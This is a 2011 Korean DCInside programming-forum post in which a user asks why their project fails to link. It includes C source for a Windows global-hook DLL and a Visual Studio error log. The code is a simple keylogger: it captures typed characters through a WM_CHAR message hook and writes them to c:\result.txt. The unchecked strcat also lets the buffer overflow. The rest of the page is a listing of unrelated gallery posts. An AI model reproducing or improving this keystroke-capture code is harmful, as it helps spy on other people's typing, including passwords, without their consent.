디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

이거 빌드 오류나는데 뭐가잘못된거임?

안초심갤로그로 이동합니다. 2011.09.16 14:35:32
조회 145 추천 0 댓글 1

#include <windows.h>

#define BUFFER_SIZE 50

HINSTANCE       hinst;
#define EXPORT __declspec( dllexport )

static char str[BUFFER_SIZE];  // 문자열을 저장할 버퍼
static int Max_buf = 50;       // 50자만 저장
static int count = 0;          // 몇 개의 문자가 쌓여 있나 카운트
static BOOL stop = FALSE;

BOOL WINAPI Dllmain (HINSTANCE hinstDll, DWORD dwReason,
   LPVOID lpReserved)
{
 if( dwReason == DLL_PROCESS_ATTACH )
 {
  hinst = hinstDll;
  str[0] = 0; // 단순한 배열 초기화
 }
 return TRUE;
}

EXPORT LRESULT CALLBACK GetMsgProc(
   INT nCode,WPARAM wp,LPARAM lp)
{
 HFILE  hFile;
 long msgTemp;
 char strTemp[2];

 if( nCode >= 0 )
 {
  msgTemp = ( (MSG*)lp ) ->message;  // 메시지 가져오기

  if( count < (Max_buf+2) )
  {   // 받아 온 메시지 중 WM_CHAR만 걸러 낸다.

   if( (!stop) && (msgTemp == (long)WM_CHAR) )
   {
    if( (count++) > 50 )      // 50w자면 저장한다.
    {
     char a[5] = { 13, 10, 13, 10, 0 };  // <CRLF>두 번 넣음

     hFile = _lopen("c:\\\\result.txt", OF_READWRITE);

     if( hFile < 0 )
     {     // 이미 있으면 이어 붙인다.
      hFile = _lcreat("c:\\\\result.txt", 0);
      _llseek( hFile,0L, FILE_BEGIN) ;
     }
     else _llseek( hFile, 0L, FILE_END);

     _lwrite( hFile, a, 5);
     _lwrite( hFile, str, BUFFER_SIZE);
     _lclose( hFile );

     stop = TRUE;
    }
    else
    {
     strTemp[0] = ((MSG*)lp)->wParam;
     strTemp[1] = 0;

     strcat( str, strTemp);
    }
   }
  }
 }
 return (stop)?TRUE:CallNextHookEx(NULL, nCode, wp, lp);
}



1>------ 빌드 시작: 프로젝트: hooking, 구성: Debug Win32 ------
1>  hook.c
1>c:\\users\\XXX\\documents\\visual studio 2010\\projects\\hooking\\hooking\\hook.c(64): warning C4996: \'strcat\': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
1>          c:\\program files\\microsoft visual studio 10.0\\vc\\include\\string.h(110) : \'strcat\' 선언을 참조하십시오.
1>     c:\\users\\XXX\\documents\\visual studio 2010\\Projects\\hooking\\Debug\\hooking.lib 라이브러리 및 c:\\users\\XXX\\documents\\visual studio 2010\\Projects\\hooking\\Debug\\hooking.exp 개체를 생성하고 있습니다.
1>MSVCRTD.lib(crtexe.obj) : error LNK2019: _main 외부 기호(참조 위치: ___tmainCRTStartup 함수)에서 확인하지 못했습니다.
1>c:\\users\\XXX\\documents\\visual studio 2010\\Projects\\hooking\\Debug\\hooking.exe : fatal error LNK1120: 1개의 확인할 수 없는 외부 참조입니다.
========== 빌드: 성공 0, 실패 1, 최신 0, 생략 0 ==========

왜이럼,..? 해결방법없음?

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 반응이 재밌어서 자꾸만 놀리고 싶은 리액션 좋은 스타는? 운영자 25/07/28 - -
AD 휴대폰 액세서리 세일 중임! 운영자 25/07/28 - -
274053 님들 씨발 과제좀 도와줘요 ㅡㅡ; [1] 이힝(121.177) 11.09.20 61 0
274052 솔찍히 니들은 일할때 일은 제대로 하고 월급 받아가냐?? [3] 개쉛기갤로그로 이동합니다. 11.09.20 110 0
274051 멀미 있는데 길이 엄청막힘 ㅠㅠ [1] SODMaster갤로그로 이동합니다. 11.09.20 49 0
274047 언니들 RS232 DE9 커넥터를 부품상 가서 뭐라 해야함? dot(125.128) 11.09.20 68 0
274045 부끄럽지만 예전 먹튀녀 사건 [7] 일광면갤로그로 이동합니다. 11.09.20 125 0
274044 아스야 이제 커밍아웃 해버릴때도 되지 않았냐? [2] blackd갤로그로 이동합니다. 11.09.20 60 0
274041 디스를 많이 묵네 [1] 힙꼬맹갤로그로 이동합니다. 11.09.20 54 0
274039 아스냔 갤을 병신같이 주도하네 [1] SODMaster갤로그로 이동합니다. 11.09.20 60 0
274038 우선 밥먹고와서 1,2차 소개팅 썰 풀어봄 [2] 三didas갤로그로 이동합니다. 11.09.20 69 0
274035 |= <----- 이게 먼가요? [11] 개초보(112.216) 11.09.20 79 0
274034 힙꼬맹의 관점에서 쓴 힙꼬맹의 일기 [6] 三didas갤로그로 이동합니다. 11.09.20 69 0
274033 c언어 너무 어려워요 [1] 돌대가리(125.135) 11.09.20 91 0
274032 혀엉님들~프로그래밍 배워볼까 하는데 놋북 인치 수는 몇인치가 적합한가요? [3] ㅁㄴㅇ(182.213) 11.09.20 67 0
274031 프갤 안오기 힘듬 일광면갤로그로 이동합니다. 11.09.20 54 0
274029 야 개년들아 좋은 말로 어그로 끌때 빨리 달려들어라 y녀6디리(220.118) 11.09.20 57 0
274028 자 이제 시간이 되었습니다. 아스님 [1] y녀6디리(220.118) 11.09.20 60 0
274026 안배운걸 풀라고하면 안풀어야지 [9] 힙꼬맹갤로그로 이동합니다. 11.09.20 80 0
274025 아스 병신아 [3] 일광면갤로그로 이동합니다. 11.09.20 84 0
274022 기본을 등한시 한채 테크니컬한 부분만 좇는 경우.(2) [14] (218.54) 11.09.20 132 0
274021 오늘 여자하나 망신살 줘따 [15] 일광면갤로그로 이동합니다. 11.09.20 218 0
274020 병합정렬+삽입정렬 문제 bla-ack갤로그로 이동합니다. 11.09.20 49 0
274019 두번째소개팅 [4] 三didas갤로그로 이동합니다. 11.09.20 70 0
274017 너님들 volatile 읽을때 뭐라고 읽음?? [5] 뿌릉릉(210.94) 11.09.20 118 0
274016 ㅋㅋㅋㅋ조기퇴근하고 집에와서 프갤보니 재밌는 떡밥이있네 [9] McHello갤로그로 이동합니다. 11.09.20 123 0
274015 아 미치겠따 진짜 세금.. [3] 좋은아버지갤로그로 이동합니다. 11.09.20 67 0
274013 힙꼬맹이말한거보고 옛날생각남 [6] 三didas갤로그로 이동합니다. 11.09.20 62 0
274012 늅늅인데 요즘들어서 C를 먼저 배우고 코딩 시작했다는게 뼈저리게 후회됨 [5] 뿌릉릉(210.94) 11.09.20 138 0
274010 좋은아버지횽 [6] 三didas갤로그로 이동합니다. 11.09.20 61 0
274009 디씨는 [1] 로하로하알로하갤로그로 이동합니다. 11.09.20 43 0
274008 힙꼬맹근데 씨언어왜하냐 [4] 三didas갤로그로 이동합니다. 11.09.20 73 0
274007 윈도세븐이 [1] 三didas갤로그로 이동합니다. 11.09.20 65 0
274006 쓰레드 문제점좀 알려주세요 [9] 오레오(115.23) 11.09.20 71 0
274005 하드웨어는 왜케 존나 발전하냐 [4] 로하로하알로하갤로그로 이동합니다. 11.09.20 70 0
274004 힙꼬맹아 [1] 三didas갤로그로 이동합니다. 11.09.20 46 0
274003 일본 5년뒤에 양자컴퓨터 만든다고? ㅋㅋㅋㅋ [1] .3(124.137) 11.09.20 109 0
274000 나는 한국의 제2의안철수가될것이다 [4] 三didas갤로그로 이동합니다. 11.09.20 71 0
273999 아........하루 종일 코딩 한다는게 뭔지 이제 알거 같아. [2] 좋은아버지갤로그로 이동합니다. 11.09.20 60 0
273998 내가 카리를 봤어.. iljeomobolt갤로그로 이동합니다. 11.09.20 68 0
273997 잡스는 이해하지만 빌게이는 이해못하겠다 [2] Deanex갤로그로 이동합니다. 11.09.20 78 0
273995 쓰레드 관련 질문 도와주세요 1시간째./... [1] 오레오(115.23) 11.09.20 47 0
273993 ㅋㅋㅋㅋ C언어 더이상 배워도 머리에 안들어오는것 같다 ㅋㅋㅋㅋ [14] 힙꼬맹갤로그로 이동합니다. 11.09.20 144 0
273992 힙꼬맹 [5] ㅋㄱ(183.96) 11.09.20 71 0
273991 밑에 켄테나 보고 생각났는데 [3] 로하로하알로하갤로그로 이동합니다. 11.09.20 112 1
273990 이런컴퓨터 나오면 프로그래밍 방법은 비슷할까? [8] 113(210.103) 11.09.20 80 0
273989 int , sizeof 애네가 하는일 다 알아야함? [7] 힙꼬맹갤로그로 이동합니다. 11.09.20 63 0
273988 si업체가 뭐하는데여? [22] 힙꼬맹갤로그로 이동합니다. 11.09.20 179 0
273987 프겔 짤방 [2] 푸의미래갤로그로 이동합니다. 11.09.20 78 0
273986 내컴 좀 꾸진건가?? [4] blackd갤로그로 이동합니다. 11.09.20 81 0
273985 stdio.h 이거 스튜디오 .h 라고 읽는 횽아들 있음??? 풉ㅋㅋㅋ [6] [성대아싸]갤로그로 이동합니다. 11.09.20 92 0
273984 여기 형들이랑 친목질 하다가 만약에 [7] 좋은아버지갤로그로 이동합니다. 11.09.20 60 0
뉴스 H.O.T. 토니안, 우울증 고백...“술과 약에 의존하며 매일 죽음을 생각했다” 디시트렌드 07.30
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

뉴스

디시미디어

디시이슈

1/2